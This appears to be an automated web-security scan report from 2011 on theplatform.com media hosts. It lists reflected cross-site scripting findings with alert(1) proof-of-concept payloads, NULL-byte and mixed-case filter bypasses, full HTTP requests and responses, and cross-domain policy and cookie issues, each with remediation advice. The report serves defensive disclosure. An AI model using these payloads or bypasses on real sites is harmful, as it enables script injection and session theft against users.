Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d6ab8<script>alert(1)</script>0822e901c54 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.icod6ab8<script>alert(1)</script>0822e901c54 HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=267669451.1746413117.1317840279.1317840279.1317840279.1; __utmz=267669451.1317840279.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 404 Not Found Date: Wed, 05 Oct 2011 19:17:50 GMT Content-Type: text/html; charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 1417 Server: Jetty(6.1.19)
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8c409<script>alert(1)</script>e9cd2e257c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s8c409<script>alert(1)</script>e9cd2e257c/Xw6mu/CN1piYAIVAGNeopyg2Bq_XJHj3TmBn2b?mbr=true&format=SMIL&Tracking=true&Embedded=true HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.nbcnewyork.com/pdk442/pdk/swf/flvPlayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 05 Oct 2011 18:22:06 GMT Content-Type: text/html; charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 1445 Server: Jetty(6.1.19)
The value of the format request parameter is copied into the HTML document as plain text between tags. The payload e95c3<script>alert(1)</script>f28cf5071f0 was submitted in the format parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/Xw6mu/CN1piYAIVAGNeopyg2Bq_XJHj3TmBn2b?mbr=true&format=SMILe95c3<script>alert(1)</script>f28cf5071f0&Tracking=true&Embedded=true HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.nbcnewyork.com/pdk442/pdk/swf/flvPlayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 400 Bad Request Date: Wed, 05 Oct 2011 18:22:04 GMT Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store Connection: close Server: Jetty(6.1.19)
{ "title": "Unsupported Metafile Format", "description": "'SMILe95c3<script>alert(1)</script>f28cf5071f0' is not a supported metafile format.", "isException": true, "exception": "UnsupportedFormat", "responseCode": "400" }
The value of the height request parameter is copied into the HTML document as plain text between tags. The payload 26a84<script>alert(1)</script>55ebb3179bb was submitted in the height parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/Xw6mu/CN1piYAIVAGNeopyg2Bq_XJHj3TmBn2b?mbr=true&format=Script&Tracking=true&Embedded=true&height=17026a84<script>alert(1)</script>55ebb3179bb&width=300 HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.nbcnewyork.com/pdk442/pdk/swf/flvPlayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 05 Oct 2011 18:23:54 GMT Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store Content-Type: text/plain; charset=utf-8 Connection: close Server: Jetty(6.1.19)
{ "title": "Non-numeric Height", "description": "Height value '17026a84<script>alert(1)</script>55ebb3179bb' is not numeric.", "isException": true, "exception": "NonNumericHeight", "responseCode": "400" }
The value of the width request parameter is copied into the HTML document as plain text between tags. The payload 867f8<script>alert(1)</script>489146b40d8 was submitted in the width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s/Xw6mu/CN1piYAIVAGNeopyg2Bq_XJHj3TmBn2b?mbr=true&format=Script&Tracking=true&Embedded=true&height=170&width=300867f8<script>alert(1)</script>489146b40d8 HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.nbcnewyork.com/pdk442/pdk/swf/flvPlayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 05 Oct 2011 18:23:54 GMT Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store Content-Type: text/plain; charset=utf-8 Connection: close Server: Jetty(6.1.19)
{ "title": "Non-numeric Width", "description": "Width value '300867f8<script>alert(1)</script>489146b40d8' is not numeric.", "isException": true, "exception": "NonNumericWidth", "responseCode": "400" }
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8844e<script>alert(1)</script>0682728a301 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s8844e<script>alert(1)</script>0682728a301/Xw6mu/CN1piYAIVAGNeopyg2Bq_XJHj3TmBn2b/tracker.log?type=qos&ver=2&d=1317838937133&rid0=2148282888&t0=Morning%20Weather%20For%20Wednesday&tc0=1&lp0=0<0=0&pb0=100&pp0=0&pr0=0&nocache=1317839023208 HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.nbcnewyork.com/pdk442/pdk/swf/flvPlayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 05 Oct 2011 18:23:09 GMT Content-Type: text/html; charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 1458 Server: Jetty(6.1.19)
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %00ff4f0<a>25adf63a7a9 was submitted in the REST URL parameter 1. This input was echoed as ff4f0<a>25adf63a7a9 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /content.select%00ff4f0<a>25adf63a7a9?format=SMIL&Tracking=true&balance=true&MBR=true&pid=qRnXc3QVK_ZOBWEeKVKLtxwVV_4Zq234 HTTP/1.1 Host: release.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.cbs.com/thunder/canplayer/canplayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 05 Oct 2011 18:38:31 GMT Content-Type: text/html; charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 1401 Server: Jetty(6.1.19)
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5ccb6<a>3a2884750d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %0062c77<script>alert(1)</script>54870b7b819 was submitted in the REST URL parameter 1. This input was echoed as 62c77<script>alert(1)</script>54870b7b819 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %0073cd5<ScRiPt>alert(1)</ScRiPt>1a9c34bf6da was submitted in the REST URL parameter 1. This input was echoed as 73cd5<ScRiPt>alert(1)</ScRiPt>1a9c34bf6da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload aaa2c<ScRiPt>alert(1)</ScRiPt>6d226888d75 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /crossdomain.xmlaaa2c<ScRiPt>alert(1)</ScRiPt>6d226888d75 HTTP/1.1 Host: release.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.cbs.com/thunder/canplayer/canplayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 05 Oct 2011 18:38:29 GMT Content-Type: text/html; charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 1421 Server: Jetty(6.1.19)
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload dce12<a>28d723c88c5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /favicon.icodce12<a>28d723c88c5 HTTP/1.1 Host: release.theplatform.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
Response
HTTP/1.1 404 Not Found Date: Wed, 05 Oct 2011 19:14:28 GMT Content-Type: text/html; charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 1395 Server: Jetty(6.1.19)
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %00d3373<script>alert(1)</script>27542a50eb4 was submitted in the REST URL parameter 1. This input was echoed as d3373<script>alert(1)</script>27542a50eb4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload facbb<script>alert(1)</script>68379aeb7d2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 628f3<script>alert(1)</script>da9adac6a4f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 96c95<script>alert(1)</script>d310838e609 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload fd731<script>alert(1)</script>a8145d037e3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 118ce<script>alert(1)</script>44d8691605e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: link.theplatform.com
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: link.theplatform.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: text/plain; charset=utf-8
The response states that it contains plain text. However, it actually appears to contain CSS.
Request
GET /s/Xw6mu/CN1piYAIVAGNeopyg2Bq_XJHj3TmBn2b?mbr=true&format=Script&Tracking=true&Embedded=true&height=170&width=300 HTTP/1.1 Host: link.theplatform.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.nbcnewyork.com/pdk442/pdk/swf/flvPlayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 05 Oct 2011 18:23:51 GMT Access-Control-Allow-Origin: * Content-Type: text/plain; charset=utf-8 X-Cache: HIT from link.theplatform.com:80 Cache-Control: max-age=5 Connection: close Server: Jetty(6.1.19)
If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.